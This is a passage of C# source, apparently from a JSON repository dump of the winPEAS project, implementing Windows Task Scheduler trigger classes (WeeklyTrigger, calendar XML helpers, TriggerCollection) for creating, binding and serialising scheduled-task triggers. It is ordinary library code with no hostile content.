ct = new CustomTrigger(iTrigger);\n                    if (iDef != null)\n                        try { ct.UpdateFromXml(iDef.XmlText); } catch { /* ignored */ }\n                    return ct;\n\n                default:\n                    throw new ArgumentOutOfRangeException();\n            }\n        }\n\n        /// <summary>Gets the best time span string.</summary>\n        /// <param name=\"span\">The <see cref=\"TimeSpan\"/> to display.</param>\n        /// <returns>Either the full string representation created by TimeSpan2 or the default TimeSpan representation.</returns>\n        internal static string GetBestTimeSpanString(TimeSpan span)\n        {\n            // See if the TimeSpan2 assembly is accessible\n            if (!foundTimeSpan2.HasValue)\n            {\n                try\n                {\n                    foundTimeSpan2 = false;\n                    timeSpan2Type = ReflectionHelper.LoadType(\"System.TimeSpan2\", \"TimeSpan2.dll\");\n                    if (timeSpan2Type != null)\n                        foundTimeSpan2 = true;\n                }\n                catch { /* ignored */ }\n            }\n\n            // If the TimeSpan2 assembly is available, try to call the ToString(\"f\") method and return the result.\n            if (foundTimeSpan2 == true && timeSpan2Type != null)\n            {\n                try\n                {\n                    return ReflectionHelper.InvokeMethod<string>(timeSpan2Type, new object[] { span }, \"ToString\", \"f\");\n                }\n                catch { /* ignored */ }\n            }\n\n            return span.ToString();\n        }\n\n        internal virtual void Bind([NotNull] ITask iTask)\n        {\n            if (v1Trigger == null)\n            {\n                v1Trigger = iTask.CreateTrigger(out var _);\n            }\n            SetV1TriggerData();\n        }\n\n        internal virtual void Bind([NotNull] ITaskDefinition iTaskDef)\n        {\n            var iTriggers = iTaskDef.Triggers;\n            v2Trigger = iTriggers.Create(ttype);\n            Marshal.ReleaseComObject(iTriggers);\n            if ((unboundValues.TryGetValue(\"StartBoundary\", out var dt) ? (DateTime)dt : StartBoundary) > (unboundValues.TryGetValue(\"EndBoundary\", out dt) ? (DateTime)dt : EndBoundary))\n                throw new ArgumentException(Resources.Error_TriggerEndBeforeStart);\n            foreach (var key in unboundValues.Keys)\n            {\n                try\n                {\n                    var o = unboundValues[key];\n                    CheckBindValue(key, ref o);\n                    v2Trigger.GetType().InvokeMember(key, System.Reflection.BindingFlags.SetProperty, null, v2Trigger, new[] { o });\n                }\n                catch (System.Reflection.TargetInvocationException tie) when (tie.InnerException != null) { throw tie.InnerException; }\n                catch { /* ignored */ }\n            }\n            unboundValues.Clear();\n            unboundValues = null;\n\n            repititionPattern = new RepetitionPattern(this);\n            repititionPattern.Bind();\n        }\n\n        /// <summary>Assigns the unbound TriggerData structure to the V1 trigger instance.</summary>\n        internal void SetV1TriggerData()\n        {\n            if (v1TriggerData.MinutesInterval != 0 && v1TriggerData.MinutesInterval >= v1TriggerData.MinutesDuration)\n                throw new ArgumentException(\"Trigger.Repetition.Interval must be less than Trigger.Repetition.Duration under Task Scheduler 1.0.\");\n            if (v1TriggerData.EndDate <= v1TriggerData.BeginDate)\n                throw new ArgumentException(Resources.Error_TriggerEndBeforeStart);\n            if (v1TriggerData.BeginDate == DateTime.MinValue)\n                v1TriggerData.BeginDate = DateTime.Now;\n            v1Trigger?.SetTrigger(ref v1TriggerData);\n            System.Diagnostics.Debug.WriteLine(v1TriggerData);\n        }\n\n        /// <summary>Checks the bind value for any conversion.</summary>\n        /// <param name=\"key\">The key (property) name.</param>\n        /// <param name=\"o\">The value.</param>\n        protected virtual void CheckBindValue(string key, ref object o)\n        {\n            if (o is TimeSpan ts)\n                o = Task.TimeSpanToString(ts);\n            if (o is DateTime dt)\n            {\n                if (key == \"EndBoundary\" && dt == DateTime.MaxValue || key == \"StartBoundary\" && dt == DateTime.MinValue)\n                    o = null;\n                else\n                    o = dt.ToString(V2BoundaryDateFormat, DefaultDateCulture);\n            }\n        }\n\n        /// <summary>Gets the unbound value or a default.</summary>\n        /// <typeparam name=\"T\">Return type.</typeparam>\n        /// <param name=\"prop\">The property name.</param>\n        /// <param name=\"def\">The default value if not found in unbound value list.</param>\n        /// <returns>The unbound value, if set, or the default value.</returns>\n        protected T GetUnboundValueOrDefault<T>(string prop, T def = default) => unboundValues.TryGetValue(prop, out var val) ? (T)val : def;\n\n        /// <summary>Called when a property has changed to notify any attached elements.</summary>\n        /// <param name=\"propertyName\">Name of the property.</param>\n        protected void OnNotifyPropertyChanged([CallerMemberName] string propertyName = \"\") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));\n\n        /// <summary>Gets the non-localized trigger string for V2 triggers.</summary>\n        /// <returns>String describing the trigger.</returns>\n        protected virtual string V2GetTriggerString() => string.Empty;\n\n        private static TaskTriggerType ConvertFromV1TriggerType(V1.TaskTriggerType v1Type)\n        {\n            var tv2 = (int)v1Type + 1;\n            if (tv2 > 6) tv2++;\n            return (TaskTriggerType)tv2;\n        }\n\n        private string V2BaseTriggerString()\n        {\n            var ret = new StringBuilder();\n            if (Repetition.Interval != TimeSpan.Zero)\n            {\n                var sduration = Repetition.Duration == TimeSpan.Zero ? Resources.TriggerDuration0 : string.Format(Resources.TriggerDurationNot0, GetBestTimeSpanString(Repetition.Duration));\n                ret.AppendFormat(Resources.TriggerRepetition, GetBestTimeSpanString(Repetition.Interval), sduration);\n            }\n            if (EndBoundary != DateTime.MaxValue)\n                ret.AppendFormat(Resources.TriggerEndBoundary, AdjustToLocal(EndBoundary));\n            if (ret.Length > 0)\n                ret.Insert(0, Resources.HyphenSeparator);\n            return ret.ToString();\n        }\n    }\n\n    /// <summary>\n    /// Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of\n    /// the week every week or every other week.\n    /// </summary>\n    /// <remarks>A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks.</remarks>\n    /// <example>\n    /// <code lang=\"cs\">\n    ///<![CDATA[\n    /// // Create a trigger that runs on Monday every third week just after midnight.\n    /// WeeklyTrigger wTrigger = new WeeklyTrigger();\n    /// wTrigger.StartBoundary = DateTime.Today + TimeSpan.FromSeconds(15);\n    /// wTrigger.DaysOfWeek = DaysOfTheWeek.Monday;\n    /// wTrigger.WeeksInterval = 3;\n    ///]]>\n    /// </code>\n    /// </example>\n    [XmlRoot(\"CalendarTrigger\", Namespace = TaskDefinition.tns, IsNullable = false)]\n    public sealed class WeeklyTrigger : Trigger, ICalendarTrigger, ITriggerDelay, IXmlSerializable\n    {\n        /// <summary>Creates an unbound instance of a <see cref=\"WeeklyTrigger\"/>.</summary>\n        /// <param name=\"daysOfWeek\">The days of the week.</param>\n        /// <param name=\"weeksInterval\">The interval between the weeks in the schedule.</param>\n        public WeeklyTrigger(DaysOfTheWeek daysOfWeek = DaysOfTheWeek.Sunday, short weeksInterval = 1) : base(TaskTriggerType.Weekly)\n        {\n            DaysOfWeek = daysOfWeek;\n            WeeksInterval = weeksInterval;\n        }\n\n        internal WeeklyTrigger([NotNull] ITaskTrigger iTrigger) : base(iTrigger, V1.TaskTriggerType.RunWeekly)\n        {\n            if (v1TriggerData.Data.weekly.DaysOfTheWeek == 0)\n                v1TriggerData.Data.weekly.DaysOfTheWeek = DaysOfTheWeek.Sunday;\n            if (v1TriggerData.Data.weekly.WeeksInterval == 0)\n                v1TriggerData.Data.weekly.WeeksInterval = 1;\n        }\n\n        internal WeeklyTrigger([NotNull] ITrigger iTrigger) : base(iTrigger)\n        {\n        }\n\n        /// <summary>Gets or sets the days of the week on which the task runs.</summary>\n        [DefaultValue(0)]\n        public DaysOfTheWeek DaysOfWeek\n        {\n            get => v2Trigger != null\n                ? (DaysOfTheWeek)((IWeeklyTrigger)v2Trigger).DaysOfWeek\n                : v1TriggerData.Data.weekly.DaysOfTheWeek;\n            set\n            {\n                if (v2Trigger != null)\n                    ((IWeeklyTrigger)v2Trigger).DaysOfWeek = (short)value;\n                else\n                {\n                    v1TriggerData.Data.weekly.DaysOfTheWeek = value;\n                    if (v1Trigger != null)\n                        SetV1TriggerData();\n                    else\n                        unboundValues[nameof(DaysOfWeek)] = (short)value;\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets a delay time that is randomly added to the start time of the trigger.</summary>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        [DefaultValue(typeof(TimeSpan), \"00:00:00\")]\n        [XmlIgnore]\n        public TimeSpan RandomDelay\n        {\n            get => v2Trigger != null ? Task.StringToTimeSpan(((IWeeklyTrigger)v2Trigger).RandomDelay) : GetUnboundValueOrDefault(nameof(RandomDelay), TimeSpan.Zero);\n            set\n            {\n                if (v2Trigger != null)\n                    ((IWeeklyTrigger)v2Trigger).RandomDelay = Task.TimeSpanToString(value);\n                else if (v1Trigger != null)\n                    throw new NotV1SupportedException();\n                else\n                    unboundValues[nameof(RandomDelay)] = value;\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets the interval between the weeks in the schedule.</summary>\n        [DefaultValue(1)]\n        public short WeeksInterval\n        {\n            get => ((IWeeklyTrigger)v2Trigger)?.WeeksInterval ?? (short)v1TriggerData.Data.weekly.WeeksInterval;\n            set\n            {\n                if (v2Trigger != null)\n                    ((IWeeklyTrigger)v2Trigger).WeeksInterval = value;\n                else\n                {\n                    v1TriggerData.Data.weekly.WeeksInterval = (ushort)value;\n                    if (v1Trigger != null)\n                        SetV1TriggerData();\n                    else\n                        unboundValues[nameof(WeeksInterval)] = value;\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>Gets or sets a value that indicates the amount of time before the task is started.</summary>\n        /// <value>The delay duration.</value>\n        TimeSpan ITriggerDelay.Delay\n        {\n            get => RandomDelay;\n            set => RandomDelay = value;\n        }\n\n        /// <summary>\n        /// Copies the properties from another <see cref=\"Trigger\"/> the current instance. This will not copy any properties associated with\n        /// any derived triggers except those supporting the <see cref=\"ITriggerDelay\"/> interface.\n        /// </summary>\n        /// <param name=\"sourceTrigger\">The source <see cref=\"Trigger\"/>.</param>\n        public override void CopyProperties(Trigger sourceTrigger)\n        {\n            base.CopyProperties(sourceTrigger);\n            if (sourceTrigger is WeeklyTrigger wt)\n            {\n                DaysOfWeek = wt.DaysOfWeek;\n                WeeksInterval = wt.WeeksInterval;\n            }\n        }\n\n        /// <summary>Indicates whether the current object is equal to another object of the same type.</summary>\n        /// <param name=\"other\">An object to compare with this object.</param>\n        /// <returns>true if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, false.</returns>\n        public override bool Equals(Trigger other) => other is WeeklyTrigger wt && base.Equals(wt) && DaysOfWeek == wt.DaysOfWeek && WeeksInterval == wt.WeeksInterval;\n\n        System.Xml.Schema.XmlSchema IXmlSerializable.GetSchema() => null;\n\n        void IXmlSerializable.ReadXml(System.Xml.XmlReader reader) => CalendarTrigger.ReadXml(reader, this, ReadMyXml);\n\n        void IXmlSerializable.WriteXml(System.Xml.XmlWriter writer) => CalendarTrigger.WriteXml(writer, this, WriteMyXml);\n\n        /// <summary>Gets the non-localized trigger string for V2 triggers.</summary>\n        /// <returns>String describing the trigger.</returns>\n        protected override string V2GetTriggerString()\n        {\n            var days = TaskEnumGlobalizer.GetString(DaysOfWeek);\n            return string.Format(WeeksInterval == 1 ? Resources.TriggerWeekly1Week : Resources.TriggerWeeklyMultWeeks, AdjustToLocal(StartBoundary), days, WeeksInterval);\n        }\n\n        /// <summary>Reads the subclass XML for V1 streams.</summary>\n        /// <param name=\"reader\">The reader.</param>\n        private void ReadMyXml(System.Xml.XmlReader reader)\n        {\n            reader.ReadStartElement(\"ScheduleByWeek\");\n            while (reader.MoveToContent() == System.Xml.XmlNodeType.Element)\n            {\n                switch (reader.LocalName)\n                {\n                    case \"WeeksInterval\":\n                        WeeksInterval = (short)reader.ReadElementContentAsInt();\n                        break;\n\n                    case \"DaysOfWeek\":\n                        reader.Read();\n                        DaysOfWeek = 0;\n                        while (reader.MoveToContent() == System.Xml.XmlNodeType.Element)\n                        {\n                            try\n                            {\n                                DaysOfWeek |= (DaysOfTheWeek)Enum.Parse(typeof(DaysOfTheWeek), reader.LocalName);\n                            }\n                            catch\n                            {\n                                throw new System.Xml.XmlException(\"Invalid days of the week element.\");\n                            }\n                            reader.Read();\n                        }\n                        reader.ReadEndElement();\n                        break;\n\n                    default:\n                        reader.Skip();\n                        break;\n                }\n            }\n            reader.ReadEndElement();\n        }\n\n        /// <summary>Writes the subclass XML for V1 streams.</summary>\n        /// <param name=\"writer\">The writer.</param>\n        private void WriteMyXml(System.Xml.XmlWriter writer)\n        {\n            writer.WriteStartElement(\"ScheduleByWeek\");\n\n            if (WeeksInterval != 1)\n                writer.WriteElementString(\"WeeksInterval\", WeeksInterval.ToString());\n\n            writer.WriteStartElement(\"DaysOfWeek\");\n            foreach (DaysOfTheWeek e in Enum.GetValues(typeof(DaysOfTheWeek)))\n                if (e != DaysOfTheWeek.AllDays && (DaysOfWeek & e) == e)\n                    writer.WriteElementString(e.ToString(), null);\n            writer.WriteEndElement();\n\n            writer.WriteEndElement();\n        }\n    }\n\n    internal static class CalendarTrigger\n    {\n        internal delegate void CalendarXmlReader(System.Xml.XmlReader reader);\n\n        internal delegate void CalendarXmlWriter(System.Xml.XmlWriter writer);\n\n        public static void WriteXml([NotNull] System.Xml.XmlWriter writer, [NotNull] Trigger t, [NotNull] CalendarXmlWriter calWriterProc)\n        {\n            if (!t.Enabled)\n                writer.WriteElementString(\"Enabled\", System.Xml.XmlConvert.ToString(t.Enabled));\n            if (t.EndBoundary != DateTime.MaxValue)\n                writer.WriteElementString(\"EndBoundary\", System.Xml.XmlConvert.ToString(t.EndBoundary, System.Xml.XmlDateTimeSerializationMode.RoundtripKind));\n            XmlSerializationHelper.WriteObject(writer, t.Repetition);\n            writer.WriteElementString(\"StartBoundary\", System.Xml.XmlConvert.ToString(t.StartBoundary, System.Xml.XmlDateTimeSerializationMode.RoundtripKind));\n            calWriterProc(writer);\n        }\n\n        internal static Trigger GetTriggerFromXml([NotNull] System.Xml.XmlReader reader)\n        {\n            Trigger t = null;\n            var xml = reader.ReadOuterXml();\n            var match = System.Text.RegularExpressions.Regex.Match(xml, @\"\\<(?<T>ScheduleBy.+)\\>\");\n            if (match.Success && match.Groups.Count == 2)\n            {\n                switch (match.Groups[1].Value)\n                {\n                    case \"ScheduleByDay\":\n                        t = new DailyTrigger();\n                        break;\n\n                    case \"ScheduleByWeek\":\n                        t = new WeeklyTrigger();\n                        break;\n\n                    case \"ScheduleByMonth\":\n                        t = new MonthlyTrigger();\n                        break;\n\n                    case \"ScheduleByMonthDayOfWeek\":\n                        t = new MonthlyDOWTrigger();\n                        break;\n                }\n\n                if (t != null)\n                {\n                    using var ms = new System.IO.StringReader(xml);\n                    using var iReader = System.Xml.XmlReader.Create(ms);\n                    ((IXmlSerializable)t).ReadXml(iReader);\n                }\n            }\n            return t;\n        }\n\n        internal static void ReadXml([NotNull] System.Xml.XmlReader reader, [NotNull] Trigger t, [NotNull] CalendarXmlReader calReaderProc)\n        {\n            reader.ReadStartElement(\"CalendarTrigger\", TaskDefinition.tns);\n            while (reader.MoveToContent() == System.Xml.XmlNodeType.Element)\n            {\n                switch (reader.LocalName)\n                {\n                    case \"Enabled\":\n                        t.Enabled = reader.ReadElementContentAsBoolean();\n                        break;\n\n                    case \"EndBoundary\":\n                        t.EndBoundary = reader.ReadElementContentAsDateTime();\n                        break;\n\n                    case \"RandomDelay\":\n                        ((ITriggerDelay)t).Delay = Task.StringToTimeSpan(reader.ReadElementContentAsString());\n                        break;\n\n                    case \"StartBoundary\":\n                        t.StartBoundary = reader.ReadElementContentAsDateTime();\n                        break;\n\n                    case \"Repetition\":\n                        XmlSerializationHelper.ReadObject(reader, t.Repetition);\n                        break;\n\n                    case \"ScheduleByDay\":\n                    case \"ScheduleByWeek\":\n                    case \"ScheduleByMonth\":\n                    case \"ScheduleByMonthDayOfWeek\":\n                        calReaderProc(reader);\n                        break;\n\n                    default:\n                        reader.Skip();\n                        break;\n                }\n            }\n            reader.ReadEndElement();\n        }\n    }\n\n    internal sealed class RepetitionPatternConverter : TypeConverter\n    {\n        public override bool CanConvertTo(ITypeDescriptorContext context, Type destinationType) => destinationType == typeof(string) || base.CanConvertTo(context, destinationType);\n\n        public override object ConvertTo(ITypeDescriptorContext context, CultureInfo culture, object value, Type destinationType)\n        {\n            var rp = (RepetitionPattern)value;\n            if (destinationType != typeof(string)) return base.ConvertTo(context, culture, value, destinationType);\n            if (rp.Interval == TimeSpan.Zero) return \"\";\n            var sduration = rp.Duration == TimeSpan.Zero ? Resources.TriggerDuration0 : string.Format(Resources.TriggerDurationNot0Short, Trigger.GetBestTimeSpanString(rp.Duration));\n            return string.Format(Resources.TriggerRepetitionShort, Trigger.GetBestTimeSpanString(rp.Interval), sduration);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/TriggerCollection.cs",
    "content": "﻿using System;\nusing System.Collections;\nusing System.Collections.Generic;\nusing System.Collections.Specialized;\nusing System.ComponentModel;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\nusing System.Xml.Serialization;\nusing winPEAS.TaskScheduler.TaskEditor.Native;\nusing winPEAS.TaskScheduler.V1;\nusing winPEAS.TaskScheduler.V2;\n\nnamespace winPEAS.TaskScheduler\n{\n    [XmlRoot(\"Triggers\", Namespace = TaskDefinition.tns, IsNullable = false)]\n    public sealed class TriggerCollection : IList<Trigger>, IDisposable, IXmlSerializable, IList, INotifyCollectionChanged, INotifyPropertyChanged\n    {\n        private const string IndexerName = \"Item[]\";\n        private readonly ITriggerCollection v2Coll;\n        private bool inV2set;\n        private ITask v1Task;\n        private ITaskDefinition v2Def;\n\n        internal TriggerCollection([NotNull] ITask iTask) => v1Task = iTask;\n\n        internal TriggerCollection([NotNull] ITaskDefinition iTaskDef)\n        {\n            v2Def = iTaskDef;\n            v2Coll = v2Def.Triggers;\n        }\n\n        /// <summary>Occurs when a collection changes.</summary>\n        public event NotifyCollectionChangedEventHandler CollectionChanged;\n\n        /// <summary>Occurs when a property value changes.</summary>\n        public event PropertyChangedEventHandler PropertyChanged;\n\n        /// <summary>Gets the number of triggers in the collection.</summary>\n        public int Count => v2Coll?.Count ?? v1Task.GetTriggerCount();\n\n        bool IList.IsFixedSize => false;\n\n        bool ICollection<Trigger>.IsReadOnly => false;\n\n        bool IList.IsReadOnly => false;\n\n        bool ICollection.IsSynchronized => false;\n\n        object ICollection.SyncRoot => this;\n\n        /// <summary>Gets or sets a specified trigger from the collection.</summary>\n        /// <value>The <see cref=\"Trigger\"/>.</value>\n        /// <param name=\"triggerId\">The id ( <see cref=\"Trigger.Id\"/>) of the trigger to be retrieved.</param>\n        /// <returns>Specialized <see cref=\"Trigger\"/> instance.</returns>\n        /// <exception cref=\"ArgumentNullException\"></exception>\n        /// <exception cref=\"ArgumentOutOfRangeException\"></exception>\n        /// <exception cref=\"NullReferenceException\"></exception>\n        /// <exception cref=\"InvalidOperationException\">Mismatching Id for trigger and lookup.</exception>\n        public Trigger this[[NotNull] string triggerId]\n        {\n            get\n            {\n                if (string.IsNullOrEmpty(triggerId))\n                    throw new ArgumentNullException(nameof(triggerId));\n                foreach (var t in this)\n                    if (string.Equals(t.Id, triggerId))\n                        return t;\n                throw new ArgumentOutOfRangeException(nameof(triggerId));\n            }\n            set\n            {\n                if (value == null)\n                    throw new NullReferenceException();\n                if (string.IsNullOrEmpty(triggerId))\n                    throw new ArgumentNullException(nameof(triggerId));\n                if (triggerId != value.Id)\n                    throw new InvalidOperationException(\"Mismatching Id for trigger and lookup.\");\n                var index = IndexOf(triggerId);\n                if (index >= 0)\n                {\n                    var orig = this[index].Clone();\n                    inV2set = true;\n                    try\n                    {\n                        RemoveAt(index);\n                        Insert(index, value);\n                    }\n                    finally\n                    {\n                        inV2set = true;\n                    }\n                    OnNotifyPropertyChanged(IndexerName);\n                    CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Replace, value, orig, index));\n                }\n                else\n                    Add(value);\n            }\n        }\n\n        /// <summary>Gets a specified trigger from the collection.</summary>\n        /// <param name=\"index\">The index of the trigger to be retrieved.</param>\n        /// <returns>Specialized <see cref=\"Trigger\"/> instance.</returns>\n        public Trigger this[int index]\n        {\n            get\n            {\n                if (v2Coll != null)\n                    return Trigger.CreateTrigger(v2Coll[++index], v2Def);\n                return Trigger.CreateTrigger(v1Task.GetTrigger((ushort)index));\n            }\n            set\n            {\n                if (index < 0 || Count <= index)\n                    throw new ArgumentOutOfRangeException(nameof(index), index, @\"Index is not a valid index in the TriggerCollection\");\n                var orig = this[index].Clone();\n                inV2set = true;\n                try\n                {\n                    Insert(index, value);\n                    RemoveAt(index + 1);\n                }\n                finally\n                {\n                    inV2set = false;\n                }\n                OnNotifyPropertyChanged(IndexerName);\n                CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Replace, value, orig, index));\n            }\n        }\n\n        object IList.this[int index]\n        {\n            get => this[index];\n            set => this[index] = (Trigger)value;\n        }\n\n        /*/// <summary>\n\t\t/// Add an unbound <see cref=\"Trigger\"/> to the task. </summary> <param name=\"unboundTrigger\"><see cref=\"Trigger\"/> derivative to\n\t\t/// add to the task.</param> <returns>Bound trigger.</returns> <exception cref=\"System.ArgumentNullException\"><c>unboundTrigger</c>\n\t\t/// is <c>null</c>.</exception>\n\t\tpublic Trigger Add([NotNull] Trigger unboundTrigger)\n\t\t{\n\t\t\tif (unboundTrigger == null)\n\t\t\t\tthrow new ArgumentNullException(nameof(unboundTrigger));\n\t\t\tif (v2Def != null)\n\t\t\t\tunboundTrigger.Bind(v2Def);\n\t\t\telse\n\t\t\t\tunboundTrigger.Bind(v1Task);\n\t\t\treturn unboundTrigger;\n\t\t}*/\n\n        /// <summary>Add an unbound <see cref=\"Trigger\"/> to the task.</summary>\n        /// <typeparam name=\"TTrigger\">A type derived from <see cref=\"Trigger\"/>.</typeparam>\n        /// <param name=\"unboundTrigger\"><see cref=\"Trigger\"/> derivative to add to the task.</param>\n        /// <returns>Bound trigger.</returns>\n        /// <exception cref=\"ArgumentNullException\"><c>unboundTrigger</c> is <c>null</c>.</exception>\n        public TTrigger Add<TTrigger>([NotNull] TTrigger unboundTrigger) where TTrigger : Trigger\n        {\n            if (unboundTrigger == null)\n                throw new ArgumentNullException(nameof(unboundTrigger));\n            if (v2Def != null)\n                unboundTrigger.Bind(v2Def);\n            else\n                unboundTrigger.Bind(v1Task);\n            OnNotifyPropertyChanged(nameof(Count));\n            OnNotifyPropertyChanged(IndexerName);\n            CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Add, unboundTrigger));\n            return unboundTrigger;\n        }\n\n        /// <summary>Add a new trigger to the collections of triggers for the task.</summary>\n        /// <param name=\"taskTriggerType\">The type of trigger to create.</param>\n        /// <returns>A <see cref=\"Trigger\"/> instance of the specified type.</returns>\n        public Trigger AddNew(TaskTriggerType taskTriggerType)\n        {\n            if (v1Task != null)\n                return Trigger.CreateTrigger(v1Task.CreateTrigger(out _), Trigger.ConvertToV1TriggerType(taskTriggerType));\n\n            return Trigger.CreateTrigger(v2Coll.Create(taskTriggerType), v2Def);\n        }\n\n        /// <summary>Adds a collection of unbound triggers to the end of the <see cref=\"TriggerCollection\"/>.</summary>\n        /// <param name=\"triggers\">\n        /// The triggers to be added to the end of the <see cref=\"TriggerCollection\"/>. The collection itself cannot be <c>null</c> and\n        /// cannot contain <c>null</c> elements.\n        /// </param>\n        /// <exception cref=\"ArgumentNullException\"><paramref name=\"triggers\"/> is <c>null</c>.</exception>\n        public void AddRange([NotNull] IEnumerable<Trigger> triggers)\n        {\n            if (triggers == null)\n                throw new ArgumentNullException(nameof(triggers));\n            foreach (var item in triggers)\n                Add(item);\n        }\n\n        /// <summary>Clears all triggers from the task.</summary>\n        public void Clear()\n        {\n            if (v2Coll != null)\n                v2Coll.Clear();\n            else\n            {\n                inV2set = true;\n                try\n                {\n                    for (var i = Count - 1; i >= 0; i--)\n                        RemoveAt(i);\n                }\n                finally\n                {\n                    inV2set = false;\n                }\n            }\n            OnNotifyPropertyChanged(nameof(Count));\n            OnNotifyPropertyChanged(IndexerName);\n            CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Reset));\n        }\n\n        /// <summary>Determines whether the <see cref=\"ICollection{T}\"/> contains a specific value.</summary>\n        /// <param name=\"item\">The object to locate in the <see cref=\"ICollection{T}\"/>.</param>\n        /// <returns>true if <paramref name=\"item\"/> is found in the <see cref=\"ICollection{T}\"/>; otherwise, false.</returns>\n        public bool Contains([NotNull] Trigger item) => Find(a => a.Equals(item)) != null;\n\n        /// <summary>Determines whether the specified trigger type is contained in this collection.</summary>\n        /// <param name=\"triggerType\">Type of the trigger.</param>\n        /// <returns><c>true</c> if the specified trigger type is contained in this collection; otherwise, <c>false</c>.</returns>\n        public bool ContainsType(Type triggerType) => Find(a => a.GetType() == triggerType) != null;\n\n        /// <summary>\n        /// Copies the elements of the <see cref=\"ICollection{T}\"/> to an <see cref=\"Array\"/>, starting at a particular <see cref=\"Array\"/> index.\n        /// </summary>\n        /// <param name=\"array\">\n        /// The one-dimensional <see cref=\"Array\"/> that is the destination of the elements copied from <see cref=\"ICollection{T}\"/>. The\n        /// <see cref=\"Array\"/> must have zero-based indexing.\n        /// </param>\n        /// <param name=\"arrayIndex\">The zero-based index in <paramref name=\"array\"/> at which copying begins.</param>\n        public void CopyTo(Trigger[] array, int arrayIndex) => CopyTo(0, array, arrayIndex, Count);\n\n        /// <summary>\n        /// Copies the elements of the <see cref=\"TriggerCollection\"/> to a <see cref=\"Trigger\"/> array, starting at a particular <see\n        /// cref=\"Trigger\"/> array index.\n        /// </summary>\n        /// <param name=\"index\">The zero-based index in the source at which copying begins.</param>\n        /// <param name=\"array\">\n        /// The <see cref=\"Trigger\"/> array that is the destination of the elements copied from <see cref=\"TriggerCollection\"/>. The <see\n        /// cref=\"Trigger\"/> array must have zero-based indexing.\n        /// </param>\n        /// <param name=\"arrayIndex\">The zero-based index in <see cref=\"Trigger\"/> array at which copying begins.</param>\n        /// <param name=\"count\">The number of elements to copy.</param>\n        /// <exception cref=\"ArgumentNullException\"><paramref name=\"array\"/> is null.</exception>\n        /// <exception cref=\"ArgumentOutOfRangeException\"><paramref name=\"arrayIndex\"/> is less than 0.</exception>\n        /// <exception cref=\"ArgumentException\">\n        /// The number of elements in the source <see cref=\"TriggerCollection\"/> is greater than the available space from <paramref\n        /// name=\"arrayIndex\"/> to the end of the destination <paramref name=\"array\"/>.\n        /// </exception>\n        public void CopyTo(int index, Trigger[] array, int arrayIndex, int count)\n        {\n            if (array == null)\n                throw new ArgumentNullException(nameof(array));\n            if (index < 0 || index >= Count)\n                throw new ArgumentOutOfRangeException(nameof(index));\n            if (arrayIndex < 0)\n                throw new ArgumentOutOfRangeException(nameof(arrayIndex));\n            if (count < 0 || count > (Count - index))\n                throw new ArgumentOutOfRangeException(nameof(count));\n            if ((Count - index) > (array.Length - arrayIndex))\n                throw new ArgumentOutOfRangeException(nameof(arrayIndex));\n            for (var i = 0; i < count; i++)\n                array[arrayIndex + i] = (Trigger)this[index + i].Clone();\n        }\n\n        /// <summary>Releases all resources used by this class.</summary>\n        public void Dispose()\n        {\n            if (v2Coll != null) Marshal.ReleaseComObject(v2Coll);\n            v2Def = null;\n            v1Task = null;\n        }\n\n        /// <summary>\n        /// Searches for an <see cref=\"Trigger\"/> that matches the conditions defined by the specified predicate, and returns the first\n        /// occurrence within the entire collection.\n        /// </summary>\n        /// <param name=\"match\">\n        /// The <see cref=\"Predicate{Trigger}\"/> delegate that defines the conditions of the <see cref=\"Trigger\"/> to search for.\n        /// </param>\n        /// <returns>\n        /// The first <see cref=\"Trigger\"/> that matches the conditions defined by the specified predicate, if found; otherwise, <c>null</c>.\n        /// </returns>\n        public Trigger Find([NotNull] Predicate<Trigger> match)\n        {\n            if (match == null)\n                throw new ArgumentNullException(nameof(match));\n            foreach (var item in this)\n                if (match(item)) return item;\n            return null;\n        }\n\n        /// <summary>\n        /// Searches for an <see cref=\"Trigger\"/> that matches the conditions defined by the specified predicate, and returns the zero-based\n        /// index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements.\n        /// </summary>\n        /// <param name=\"startIndex\">The zero-based starting index of the search.</param>\n        /// <param name=\"count\">The number of elements in the collection to search.</param>\n        /// <param name=\"match\">The <see cref=\"Predicate{Trigger}\"/> delegate that defines the conditions of the element to search for.</param>\n        /// <returns>\n        /// The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1.\n        /// </returns>\n        public int FindIndexOf(int startIndex, int count, [NotNull] Predicate<Trigger> match)\n        {\n            if (startIndex < 0 || startIndex >= Count)\n                throw new ArgumentOutOfRangeException(nameof(startIndex));\n            if (startIndex + count > Count)\n                throw new ArgumentOutOfRangeException(nameof(count));\n            if (match == null)\n                throw new ArgumentNullException(nameof(match));\n            for (var i = startIndex; i < startIndex + count; i++)\n                if (match(this[i])) return i;\n            return -1;\n        }\n\n        /// <summary>\n        /// Searches for an <see cref=\"Trigger\"/> that matches the conditions defined by the specified predicate, and returns the zero-based\n        /// index of the first occurrence within the collection.\n        /// </summary>\n        /// <param name=\"match\">The <see cref=\"Predicate{Trigger}\"/> delegate that defines the conditions of the element to search for.</param>\n        /// <returns>\n        /// The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1.\n        /// </returns>\n        public int FindIndexOf([NotNull] Predicate<Trigger> match) => FindIndexOf(0, Count, match);\n\n        /// <summary>Gets the collection enumerator for this collection.</summary>\n        /// <returns>The <see cref=\"IEnumerator{T}\"/> for this collection.</returns>\n        public IEnumerator<Trigger> GetEnumerator()\n        {\n            if (v1Task != null)\n                return new V1TriggerEnumerator(v1Task);\n            return new 